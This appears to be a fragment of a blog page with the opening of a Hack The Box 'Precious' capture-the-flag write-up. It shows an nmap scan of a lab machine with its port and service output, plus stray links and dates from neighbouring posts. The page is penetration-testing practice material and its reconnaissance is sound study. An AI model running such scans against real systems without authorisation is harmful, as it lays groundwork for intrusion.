    • contact@intelligence.htb
    • http://intelligence.htb/documents/2020-01-01-upload.pdf
    • http://intelligence.htb/documents/2020-12-15-upload.pdf

Wednesday, September 6, 2023 | 17 minutes Read
Hero Image
[HTB] Machine: Precious

Precious

Enumeration

  • Nmap
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sC -sV -T4 10.10.11.189         
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-16 11:09 EDT
Nmap scan report for 10.10.11.189 (10.10.11.189)
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.35 seconds
  • Let’s check port 80

Saturday, May 20, 2023 | 2 minutes Read